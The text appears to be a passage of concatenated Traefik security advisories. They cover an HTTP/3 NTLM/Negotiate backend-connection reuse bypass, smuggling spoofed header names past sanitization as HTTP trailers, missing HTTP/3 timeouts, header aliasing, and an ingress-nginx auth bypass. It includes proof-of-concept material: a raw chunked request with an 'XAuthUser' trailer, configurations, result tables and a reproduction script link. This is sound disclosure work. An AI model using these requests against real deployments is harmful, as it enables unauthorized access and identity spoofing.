func (k kerberosRoundTripper) RoundTrip(request http.Request) (http.Response, error) { value, ok := request.Context().Value(transportKey).(stickyRoundTripper) if !ok { return k.OriginalRoundTripper.RoundTrip(request) }
if value.RoundTripper != nil { return value.RoundTripper.RoundTrip(request) }
resp, err := k.OriginalRoundTripper.RoundTrip(request)
// If we found that we are authenticating with Kerberos (Negotiate) or NTLM. // We put a dedicated roundTripper in the ConnContext. // This will stick the next calls to the same connection with the backend. if err == nil && containsNTLMorNegotiate(resp.Header.Values("WWW-Authenticate")) { value.RoundTripper = k.new() } return resp, err }
For HTTP/3, the server reuses the normal HTTPS handler chain, but its ConnContext only propagates the TLS options name and does not call service.AddTransportOnContext:
go // pkg/server/serverentrypointtcphttp3.go:65-80 h3.Server = &http3.Server{ Addr: config.GetAddress(), Port: config.HTTP3.AdvertisedPort, Handler: httpsServer.Server.(http.Server).Handler, TLSConfig: &tls.Config{GetConfigForClient: h3.getTLSConfigForClient}, QUICConfig: &quic.Config{ Allow0RTT: false, }, ConnContext: func(ctx context.Context, c quic.Conn) context.Context { tlsOptionsName, err := h3.getTLSOptionsName(c) if err != nil { log.Error().Msgf("Error getting TLS options name for client: %v", err) return ctx } return tcp.AddTLSOptionsNameInContext(ctx, tlsOptionsName) }, }
This means HTTP/3 requests reach the same reverse-proxy and backend transport logic as HTTPS, but without the connection-scoped transport holder that NTLM and Negotiate isolation relies on.
In practice, the flow is: 1. A victim authenticates through Traefik to a backend that binds identity to the backend TCP connection using NTLM or Negotiate. 2. Because the HTTP/3 request context does not contain transportKey, kerberosRoundTripper uses the shared OriginalRoundTripper. 3. No frontend-connection-specific dedicated backend pool is installed for that HTTP/3 client. 4. A second unrelated HTTP/3 client can be assigned the same backend TCP connection after the victim has authenticated it. 5. That second client inherits the victim's backend identity without sending the victim's credentials.
The attached verifier demonstrates both the negative control and the exploit path: - HTTPS/HTTP/1.1 control case: the attacker uses a separate frontend connection and correctly receives 401 - HTTP/3 exploit case: the attacker uses a separate HTTP/3 client with no Authorization header, reads resource=secret actor=victim, executes action=transfer actor=victim to=attacker amount=5000, and hits the same backend TCP connection identifier as the victim
PoC
See the reproduction materials at: https://gist.github.com/OneZ3r0/41da8e8b79ebbe444a94f8a2a3a30895
The gist can also be downloaded as a ZIP archive.
Files included in this gist: - run.sh - Dockerfile - .dockerignore - go.mod - go.sum - verify.go
The package is intentionally kept as a single-container reproduction: 1. run.sh builds a local image for the pinned target commit 2. the Dockerfile builds both Traefik and the verifier during image build 3. the container runs the verifier directly as its entrypoint 4. the verifier starts a synthetic backend, launches Traefik, runs the HTTPS/HTTP/1.1 control case, then runs the HTTP/3 exploit case
Run:
bash ./run.sh
run.sh defaults to the validated commit above. To override it explicitly:
bash PRODUCTCOMMIT=f2d0794417e4d06343e6e7c4722143f5b34bee45 ./run.sh
Expected terminal result:
text REPRODUCED: HTTP/1.1 isolates the authenticated backend connection, but HTTP/3 reuses the victim-authenticated backend connection for a different client and executes an unauthorized state-changing request as the victim.
Important observed behavior from the PoC: - the HTTP/1.1 control case succeeds only if a fresh attacker connection receives 401 - the HTTP/3 exploit case succeeds only if the attacker reads victim-only data without sending Authorization - the HTTP/3 exploit case succeeds only if the attacker performs /transfer?to=attacker&amount=5000 as actor=victim - the HTTP/3 exploit case succeeds only if the attacker uses the same backend TCP connection identifier as the victim
Environment notes: - Docker is required - the build fetches the target Traefik source from GitHub - no production credentials or external NTLM service are required; the verifier includes a synthetic NTLM-like backend specifically to demonstrate connection-bound identity reuse
Impact This is a cross-client authorization bypass affecting deployments that expose HTTP/3 routes to backends using connection-bound NTLM or Negotiate authentication with persistent backend connection reuse.
In the verified reproduction, an unauthenticated second client can: - read victim-only data - perform a state-changing action as the victim - reuse a backend TCP connection that has already been authenticated as the victim
Attack prerequisites: - HTTP/3 enabled on the Traefik entrypoint - a routed backend using connection-bound NTLM or Negotiate authentication - backend keep-alive and backend connection reuse enabled - the attacker can reach the same route as the victim
Deployments using ordinary per-request authentication are not affected by this specific issue.
</details> ---
Summary
Traefik's entrypoint defenses against spoofed trusted header names — aliasHeadersStrategy / underscoreHeadersStrategy in delete or reject mode, and the default forwardedHeaders stripping of client-supplied X-Forwarded- — scan req.Header only and never req.Trailer. An unauthenticated client can therefore smuggle a sanitized name (an aliasing spelling such as XAuthUser, or a trusted name such as X-Forwarded-Prefix) as an HTTP/1.1 chunked trailer or an HTTP/2 trailer: reject does not return its documented 400, delete does not remove the name, and Traefik's reverse proxy forwarded the trailer to the backend — with an attacker-chosen value whenever a body-buffering middleware (the retry middleware with status codes, or the buffering middleware) reads the body before the proxy clone. Backends that merge trailers into their header namespace then act on the smuggled name. The fix stops forwarding request trailer values to the backend; the declared trailer names are still forwarded as permitted by RFC 9110 section 6.6.2.
Traefik v2 is not affected: the defect is in the custom reverse proxy introduced in v3 (pkg/proxy/httputil), and v2 uses the Go standard library's httputil.ReverseProxy, which does not forward request trailer values to the backend. Affected v3 lines from v3.2.0 through v3.7.12 include the end-of-life v3.2 through v3.6 lines, which will not receive a fix on their own line; the remedy for those users is to upgrade to v3.7.13.
Patches
- https://github.com/traefik/traefik/releases/tag/v3.7.13
For more information
If you have any questions or comments about this advisory, please open an issue.
<details> <summary>Original Description</summary>
Summary
Traefik's entrypoint defenses against spoofed header names — aliasHeadersStrategy / underscoreHeadersStrategy in delete or reject mode, and the forwardedHeaders handling that strips client-supplied X-Forwarded- — scan req.Header only and never req.Trailer, although the handlers' own comments promise to cover "header and trailer". An unauthenticated client can therefore deliver the aliasing name (XAuthUser, X.Auth.User) or the trusted name itself (X-Forwarded-Prefix, …) as an HTTP/1.1 chunked trailer or an HTTP/2 trailer: reject does not return its documented 400, delete does not remove the name, and the trailer form of an X-Forwarded- name passes exactly where the header form is stripped. When a body-buffering middleware is in the chain (retry with status codes, or the buffering middleware — both measured), the trailer travels with an attacker-chosen value; measured end-to-end against the trailer-merging component Ubuntu 24.04 ships (pre-fix libevent, CVE-2026-63379), the header X-Forwarded-Prefix: admin is stripped and denied while the identical name as a trailer is acted upon as admin (403 → 200). On bare proxy paths only the trailer name travels (no value), bounding those deployments to name-level effects.
Details
Root cause. All four entrypoint handlers iterate req.Header only — the doc comments promise more than the code does (pkg/server/serverentrypointtcp.go):
go // removeAliasingHeaders removes any request header and trailer whose name contains a character // which is neither a letter, a digit, nor a dash, as such a name aliases another header name. func removeAliasingHeaders(h http.Handler) http.Handler { return http.HandlerFunc(func(rw http.ResponseWriter, req http.Request) { for key := range req.Header { // ← req.Trailer is never scanned if isAliasingHeaderName(key) { delete(req.Header, key) } } h.ServeHTTP(rw, req) }) }
rejectAliasingHeaders, removeHeadersWithUnderscores and rejectHeadersWithUnderscores share the identical structure (the reject variants return 400 from the same loop). The sibling sanitization forwardedheaders.DeleteXForwardedHeaders (pkg/middlewares/forwardedheaders/forwardedheader.go) also scans req.Header only, so the trusted X-Forwarded- names whose header form Traefik strips for untrusted clients — the managed XHeadersSet, which includes X-Forwarded-Prefix and X-Forwarded-For — survive in trailer form. Go's HTTP server populates req.Trailer from chunked/HTTP/2 trailers, and Traefik's proxy layer forwards those entries, bypassing the sanitization above.
Contract provenance. The "header and trailer" wording is in the original introducing diffs — 108a52644 (underscoreHeadersStrategy) and 0331801c (aliasHeadersStrategy) — and is unchanged in master (full diff excerpts available on request). The option began as allowHeadersWithUnderscores: false (per the CVE-2026-54763 record) before becoming underscoreHeadersStrategy and then aliasHeadersStrategy. The user-facing documentation describes only "request headers".
Mechanism (why names survive, and when values do too).
1. Name pre-fill at parse time. The client's Trailer: XAuthUser declaration makes Go's server move the declared keys into req.Trailer with nil values before the handler runs (net/http/transfer.go, fixTrailer); HTTP/2 does the same from the trailer: field in the initial HEADERS ("Setup Trailers", net/http/internal/httpcommon/httpcommon.go). The entrypoint handlers therefore cannot see the trailer name, but the proxy forwards it. Trailer keys are canonicalized with textproto.CanonicalMIMEHeaderKey, which treats dashes — not underscores — as case separators: the aliasing spelling survives canonicalization as e.g. Xauthuser (visible in the backend dumps in PoC §1) and remains detectable by isAliasingHeaderName, so the fix does not depend on the client's original spelling. 2. Value survival depends on who reads the body first. Trailer values are appended to req.Trailer only while the body is consumed (readTrailer / copyTrailersToHandlerRequest). On the bare path the reverse proxy calls Request.Clone at handler start, before any body read, so the clone captures nil values — on HTTP/1.1 the trailer field line is then omitted entirely (net/http/header.go, Header.writeSubset writes one line per value), and h2c delivers only the empty key. When a body-buffering middleware runs first, the order reverses: the retry middleware with status codes buffers the body via mirror.NewReusableRequest → io.ReadAll(req.Body) (pkg/middlewares/retry/retry.go, pkg/server/service/loadbalancer/mirror/mirror.go), the values are populated before http.Request.Clone, and they travel to the backend. Buffering triggers for idempotent methods with status alone; POST additionally requires retryNonIdempotentMethod (both measured). Retry and buffering are the two measured paths; the mirroring and failover services use the same mirror.NewReusableRequest helper (pkg/server/service/loadbalancer/mirror/mirror.go, failover/failover.go when errors.status is configured) and share its behavior (not measured). The buffering middleware drains the body eagerly before the proxy too: pkg/middlewares/buffering/buffering.go → oxy's multibuf.New → ioutil.ReadAll (github.com/mailgun/multibuf buffer.go; unset limits fall back to 1 MB DefaultMemBytes) — measured value-preserving with default limits. 3. Undeclared trailers: transit depends on whether anything else was declared (measured). On HTTP/2 the standard library server copies only pre-declared trailers ("Only copy it over it was pre-declared", net/http/internal/http2/server.go) — undeclared fields never appear. On HTTP/1.1 readTrailer parses the entire trailer section with no declaration filter, and mergeSetHeader either rebinds the map when nil (dst = src) or blindly merges when non-nil (point 4). The rebind is why zero-declaration requests lose undeclared fields at Traefik's observability req.WithContext shallow copy (pkg/middlewares/observability/observability.go, entrypoint.go) — measured: they never leave the entrypoint even on buffered chains. But a bait declaration (any clean name, e.g. X-Dummy) keeps the map non-nil, and the blind merge then writes the undeclared field into the shared map at body EOF — measured on the retry-buffered chain: the backend receives map[X-Dummy:[1] Xauthuser:[attacker-value]] and presence-based policies flip; the bare path is unaffected and delivers only map[X-Dummy:[]]. 4. Delete-mode stickiness depends on the merge semantics (measured). readTrailer merges parsed trailer fields via mergeSetHeader, whose non-nil branch is a blind maps.Copy (net/http/transfer.go) — a key deleted by a handler is re-added with its value at body EOF. Measured on a bare Go server (delete(r.Trailer, "Xauthuser") before draining the body): HTTP/1.1 — map[Xauthuser:[]] → map[Xauthuser:[attacker-value]] (re-added); HTTP/2 — map[Xauthuser:[]] → map[] (stays deleted: copyTrailersToHandlerRequest checks the live map).
Deliberate trailer-forwarding behavior (regression tests). Traefik deliberately does not forward request trailers on the bare proxy chain, locked by the regression tests pkg/proxy/httputil/trailertest.go and pkg/proxy/fast/trailertest.go (added 86b5642f, 2026-06-25; extended d427dccf, 2026-06-29): "trailers arrive after the body, once routing and security decisions have already been made, so forwarding them could raise security concerns in Traefik." The measured buffered-chain value survival (mechanism point 2) defeats exactly that locked invariant — the tests exercise only the bare chain — and the name-level h2c forwarding (empty keys) passes the tests' assertion (Header.Get is empty whether the key is absent or empty-valued): neither regression test catches this finding. The value-level path thus bypasses a deliberate, test-locked security invariant.
Preconditions.
1. An entrypoint whose sanitization is relied upon: aliasHeadersStrategy / underscoreHeadersStrategy set to delete or reject, or the default forwardedHeaders stripping of X-Forwarded- for untrusted clients. 2. A request carrying the name as a declared trailer (HTTP/1.1 chunked, or HTTP/2), or — on HTTP/1.1 buffered chains only — as an undeclared trailer field riding a bait declaration (mechanism point 3). 3. For downstream impact: a backend that merges trailers into its header namespace (pre-fix libevent CVE-2026-63379 — still what Ubuntu 24.04 ships —, pre-fix blaze CVE-2026-73495, or custom code) or consumes trailer fields in a trust decision. 4. For the value-level path: the retry middleware with status codes, the buffering middleware, or another body-buffering middleware, in the chain.
Precedent and scope. This is the next variant of Traefik's own aliasing family — CVE-2026-33433 (GHSA-qr99-7898-vr7c), CVE-2026-39858 (GHSA-5m6w-wvh7-57vm), CVE-2026-54763 (GHSA-x677-9fxg-v5c5) — and Traefik's Security Decisions state the in-scope line: "a spelling that survives the entrypoint sanitisation and still reaches the backend as the trusted name". The trailer spelling is precisely that. The downstream merge class is cross-ecosystem: libevent CVE-2026-63379 (run live in PoC §3) and blaze/http4s CVE-2026-73495 (GHSA-46q4-43ph-c6fr, fixed ef3e666).
Boundaries (measured). Declaring Content-Length, Transfer-Encoding or Trailer as trailer fields is rejected with 400 by Go's server; Host and Connection pass through name-level. The FastProxy forwarding mode (opt-in [experimental] fastProxy) does not forward trailers; the default reverse-proxy path for http:// backends does (PoC §3). HTTP/3 (quic-go) trailer semantics are untested. Undeclared trailers: HTTP/2 drops them entirely; on HTTP/1.1 they transit only via a bait declaration on buffered chains (mechanism point 3).
PoC
Verified against a source-built Traefik (master @ 237f13c6, built with Go 1.27.0; all harness backends built with Go 1.27.0 — the trailer behaviors cited in Details are version-sensitive net/http internals). Complete harness (clients, backends, configs, logs) available on request; the raw chunked requests below are HTTP/1.1 and reproducible with nc/python.
1. Core bypass (aliasHeadersStrategy = reject). Static config:
toml [entryPoints.web] address = ":8090" [entryPoints.web.http] aliasHeadersStrategy = "reject"
[providers.file] filename = "dynamic.toml" watch = true
dynamic.toml: router PathPrefix(/) → service → h2c://127.0.0.1:8081 (a Go echo backend that drains the body and prints r.Trailer). Requests (CRLF line endings; 5/0 are chunk sizes):
POST / HTTP/1.1 Host: 127.0.0.1:8090 Connection: close Transfer-Encoding: chunked Trailer: XAuthUser
5 hello 0 XAuthUser: attacker-value
Results:
header XAuthUser (curl -H "XAuthUser: x") → HTTP 400 (rejected, as designed) trailer XAuthUser (request above) → HTTP 200 (bypass: not rejected) trailer X.Auth.User → HTTP 200 (bypass) trailer X-Forwarded-Prefix → HTTP 200 (trusted-name trailer passes)
Backend evidence: TRAILERS: map[Xauthuser:[]], map[X.auth.user:[]], map[X-Forwarded-Prefix:[]]. The deprecated underscoreHeadersStrategy = "reject" behaves identically.
aliasHeadersStrategy = "delete" (same setup, delete in place of reject): header XAuthUser / X.Auth.User → 200, backend HEADERS contain neither (deleted, as designed); trailer XAuthUser → 200, backend TRAILERS: map[Xauthuser:[]] — the trailer form survives delete.
2. Bare-path downstream semantics (name-level). Same router, backend h2c://127.0.0.1:8082 running a trailer-merging backend (trailers folded over headers, CGI-style name normalization — the CVE-2026-63379 pattern) that authorizes /presence on the merged key and /value on X-Auth-User == "admin":
/presence, no trailer (control) → 403 DENIED /presence, trailer XAuthUser → 200 AUTHORIZED ← presence flip, empty value /value, header X-Auth-User: admin + trailer → merged-user="" ← legitimate value erased
3. Real CVE'd component flipped through Traefik — value-level. Backend: Ubuntu 24.04's libevent-2.1-7t64 2.1.12-stable-9ubuntu2 (pre-fix; the merge was fixed only in 2.1.13) plus a small (≈100-line) evhttp server that authorizes via evhttpfindheader(req->inputheaders, ...) (/prefix grants admin when X-Forwarded-Prefix == "admin"; server source available on request; build: gcc server.c -levent). Router adds the retry middleware:
toml [http.routers.lib] entryPoints = ["web"] rule = "PathPrefix(/)" service = "lib" middlewares = ["retry-lib"]
[http.middlewares.retry-lib.retry] attempts = 2 status = ["500-599"]
[http.services.lib.loadBalancer.servers] [http.services.lib.loadBalancer.servers.s1] url = "http://127.0.0.1:8083"
Measured matrix (server log shows the merged inputheaders):
| Request | Result through Traefik | |---|---| | header X-Forwarded-Prefix: admin | 403 DENIED — stripped by forwardedHeaders | | trailer X-Forwarded-Prefix: admin (chunked, declared; GET) | 200 ADMIN (prefix=admin) — log: X-Forwarded-Prefix: admin merged | | trailer XAuthUser: attacker-value (GET) | 200 AUTHORIZED (presence) — log: Xauthuser: attacker-value | | same trailer request, retry middleware removed (clean restart) | 403 DENIED — value dropped, field line omitted; log shows only Trailer: Xauthuser | | same trailer request, direct to libevent (no Traefik) | 200 ADMIN (prefix=admin) — CVE-2026-63379 baseline |
The value survives because the retry middleware buffers the body before the proxy clone (mechanism point 2). The same value path holds on h2c outbound (merge backend logs trailer=map[X-Auth-User:[admin]] → 200 AUTHORIZED (value=admin)) and with the buffering middleware in place of retry (/value trailer → 200 AUTHORIZED (value=admin), /xff trailer → 200 ADMIN).
Bait declaration (measured). Declaring a clean Trailer: X-Dummy while additionally sending the undeclared XAuthUser: attacker-value in the trailer section: on the retry-buffered chain the backend receives TRAILERS: map[X-Dummy:[1] Xauthuser:[attacker-value]] → 200 AUTHORIZED (presence policies flip on Xauthuser); the zero-declaration control still delivers map[]; the bare path delivers only map[X-Dummy:[]] (clone precedes the merge). Over HTTP/2 inbound with buffering (clienth2c through a retry chain with retryNonIdempotentMethod): backend trailer=map[Xauthuser:[attacker-value]] → 200 AUTHORIZED (presence).
X-Forwarded-For IP-trust (same chain, measured). Same router and retry middleware, backend h2c://127.0.0.1:8082 running the merge backend with an added /xff route that grants access when the merged X-Forwarded-For equals 203.0.113.7 — the classic IP-allowlist pattern:
header X-Forwarded-For: 203.0.113.7 → 403 DENIED (xff) backend log: merged XFF = "127.0.0.1" (Traefik stripped the client value and set its own) trailer X-Forwarded-For: 203.0.113.7 (GET, retry) → 200 ADMIN (xff) backend log: trailer=map[X-Forwarded-For:[203.0.113.7]] trailer X-Forwarded-For: 203.0.113.7 (POST, retry without retryNonIdempotentMethod → not buffered) → 403 DENIED — merged XFF empty (bare-path value drop)
4. Framing names and protocols. Trailer Content-Length, Host, Connection, Transfer-Encoding → 400 (Go rejects); Host, Connection → 200, backend TRAILERS: map[Connection:[] Host:[]]. HTTP/2 prior-knowledge client with trailer XAuthUser → Traefik → h2c backend: 200, backend TRAILERS: map[Xauthuser:[]] — same name-only outcome as PoC §2. HTTP/3 untested.
Impact
Kind of vulnerability. A bypass of Traefik's documented defenses against spoofed trusted names. reject promises a 400 and delete promises removal for aliasing names; forwardedHeaders strips client-supplied X-Forwarded- — and all of it applies to headers only, leaving the trailer channel open, with attacker-chosen values on body-buffering chains.
Who is impacted. Operators who enabled delete/reject to close the aliasing spoofing class (the documented mitigation for the CVE-2026-33433/39858/54763 family), and deployments whose backends trust X-Forwarded- names or proxy-set identity headers — including the classic X-Forwarded-For IP-trust pattern, where Traefik strips the client's XFF from headers while the trailer form reaches trailer-merging backends. No opt-in option is required for the X-Forwarded- path: the stripping is the default for untrusted clients. The value-level path additionally requires a body-buffering middleware (retry with status codes, or buffering) — mainstream documented features: the buffering middleware's documentation states that attaching it buffers the request body before forwarding, and the retry middleware's documentation example configures status = ["400","500-599"] — though no deployment telemetry is available to quantify their prevalence.
Verified harm scenarios.
1. Broken protection contract. Trailer-form aliasing names are neither rejected nor removed — the documented mitigation has a side door the operator believes is closed. 2. Presence-based authorization bypass. Trailer-merging upstreams authorizing on the presence of a trusted identity key flip their decision: 403 → 200 AUTHORIZED through Traefik on an h2c merge backend (PoC §2) and on the real pre-fix libevent component (PoC §3). 3. Value-level identity spoofing. On body-buffering chains the trailer carries the attacker's value: X-Forwarded-Prefix: admin delivered through Traefik authorizes as admin on the real CVE'd merge backend, while the identical header form is stripped and denied (PoC §3) — the CVE-2026-63379-class value injection chained through Traefik's own value-preserving middleware behavior. 4. Legitimate identity value erased. A trailer-merging upstream folds the empty trailer over the identity header — X-Auth-User: admin becomes empty in the merged view (PoC §2). This typically denies rather than grants; its relevance is the erasure primitive and availability of the legitimate identity. 5. Routing-header name channel. Host and Connection trailer fields pass Go's validation and reach the backend name-level (PoC §4); a trailer-merging upstream's virtual-host view is overwritten with an empty value.
Explicitly out of scope (verified). Value delivery requires a body-buffering middleware in the chain — on bare proxy paths values are dropped (PoC §3); the FastProxy path does not forward trailers; Content-Length/Transfer-Encoding/Trailer trailer fields are rejected with 400.
Recommended fix
Make the four entrypoint handlers and forwardedheaders.DeleteXForwardedHeaders iterate req.Trailer as well as req.Header — deleting matching trailer entries in delete mode and returning 400 in reject mode — at the exact place the header filtering already happens. The entrypoint stage sees every declared name (pre-filled before the handler) and covers all of HTTP/2 (undeclared fields are dropped by the stdlib server — mechanism point 3); reject returns 400 for those. On HTTP/1.1 buffered chains, names that appear only at body EOF — undeclared fields riding a bait declaration (mechanism point 3) and deleted keys re-added by the blind mergeSetHeader merge (mechanism point 4) — bypass the entrypoint stage, so the sanitization must be re-applied after the body's final read for both modes and for DeleteXForwardedHeaders; at that point the request may already be partially forwarded, so the second stage strips rather than rejects — reject deployments get delete-semantics for the late names. HTTP/3 (quic-go) may not pre-fill declared trailer keys before the handler at all (untested); there the post-body stage is the only certain defense. The fix sanitizes only the names the operator's policy targets — it does not drop the trailer channel, so legitimate trailers such as gRPC's grpc-status are unaffected.
</details>
---
Traefik is an HTTP reverse proxy and load balancer. In versions >= v2.8.2 through <= v2.11.55 and >= v3.0.0 through <= v3.7.11, the entryPoints.<name>.transport.respondingTimeouts settings — notably readTimeout, which is enabled by default at 60s — are not applied to the HTTP/3 request path. readTimeout is enforced as a deadline on the underlying TCP connection, which cannot be applied to a QUIC stream, and Traefik's HTTP/3 server is constructed without any timeout. As a result, on entry points with HTTP/3 enabled, an unauthenticated remote client that trickles request body bytes can hold a request open indefinitely and, with it, one upstream connection per request, exhausting bounded backend connection pools and causing denial of service. The issue was introduced in v2.8.2 when a quic-go API change removed the embedded http.Server that carried these timeouts. Fixed in v2.11.56 and v3.7.12.
Traefik is an HTTP reverse proxy and load balancer. In Traefik v1.x, v2.x through v2.11.55, and v3.0.0 through v3.7.11, header names are canonicalized only on dashes, so X-Auth-User, XAuthUser and X.Auth.User are treated as three distinct headers by Traefik, while backends that derive variable names from header names (CGI, WSGI, PHP, NGINX and others) collapse them into a single variable. A client can therefore smuggle a dot-form alias of a header that Traefik manages past the middleware managing it — for example supplying X.Authenticated.User alongside the canonical X-Authenticated-User written by the ForwardAuth middleware — causing such a backend to read the client-supplied value instead of the identity Traefik asserted. In the tested configuration (PHP 8.2 built-in SAPI over an HTTP/1 backend path), Go's lexical header ordering makes the attacker-supplied value win deterministically, so a client that ForwardAuth admits as a low-privilege identity can be treated by the backend as a different user or role. Any header Traefik sets is affected, not only ForwardAuth's. This is an incomplete fix for GHSA-x677-9fxg-v5c5, which blocked only the underscore form. Fixed in v2.11.56 and v3.7.12, which add the aliasHeadersStrategy entry-point option; because it defaults to 'keep' for backwards compatibility, it must be explicitly set to 'delete' or 'reject' for the fix to take effect. Unmaintained release lines will not receive a patch.
Traefik is a HTTP reverse proxy and load balancer. In versions >= v3.7.0 and <= v3.7.11, the Kubernetes ingress-nginx provider mishandles Ingresses that carry both an authentication annotation and the nginx.ingress.kubernetes.io/from-to-www-redirect annotation. For such Ingresses the provider creates an additional 'sibling' router that matches on the host alone, carries only the RedirectRegex middleware, and still points at the parent router's protected backend service. Because RedirectRegex is not a terminal handler, a request its pattern does not match is forwarded to the backend, and because the redirect pattern only accepts a numeric port while Traefik's host matcher canonicalizes the authority via net.SplitHostPort, a request with a non-numeric or empty port (for example 'Host: www.example.com:x') selects the sibling router, misses the redirect, and is proxied to the protected backend with none of the Ingress's annotation-derived middlewares applied. This discards not only authentication (e.g. BasicAuth) but every annotation-derived middleware, including source-IP allowlisting. Traefik v2 and v3 releases before v3.7.0 are not affected. The issue is fixed in v3.7.12.